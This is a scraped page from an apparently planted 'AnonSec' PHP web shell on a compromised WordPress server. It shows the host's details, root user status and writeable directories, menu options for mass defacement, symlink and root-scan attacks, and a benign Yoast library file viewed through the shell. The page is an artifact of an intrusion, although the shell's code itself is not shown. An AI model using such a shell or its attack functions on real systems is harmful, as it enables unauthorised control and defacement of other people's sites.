AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.145.111.221   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/wordpress-seo/vendor/yoast/whip/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/wordpress-seo/vendor/yoast/whip/src/Configuration.php
<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Interfaces\Requirement;

/**
 * Class Configuration.
 */
class Configuration {

	/**
	 * The configuration to use.
	 *
	 * @var array<string>
	 */
	private $configuration;

	/**
	 * Configuration constructor.
	 *
	 * @param array<string, string> $configuration The configuration to use.
	 *
	 * @throws InvalidType When the $configuration parameter is not of the expected type.
	 */
	public function __construct( $configuration = array() ) {
		if ( ! \is_array( $configuration ) ) {
			throw new InvalidType( 'Configuration', $configuration, 'array' );
		}

		$this->configuration = $configuration;
	}

	/**
	 * Retrieves the configured version of a particular requirement.
	 *
	 * @param Requirement $requirement The requirement to check.
	 *
	 * @return string|int The version of the passed requirement that was detected as a string.
	 *                    If the requirement does not exist, this returns int -1.
	 */
	public function configuredVersion( Requirement $requirement ) {
		if ( ! $this->hasRequirementConfigured( $requirement ) ) {
			return -1;
		}

		return $this->configuration[ $requirement->component() ];
	}

	/**
	 * Determines whether the passed requirement is present in the configuration.
	 *
	 * @param Requirement $requirement The requirement to check.
	 *
	 * @return bool Whether or not the requirement is present in the configuration.
	 */
	public function hasRequirementConfigured( Requirement $requirement ) {
		return \array_key_exists( $requirement->component(), $this->configuration );
	}
}

Anon7 - 2022
AnonSec Team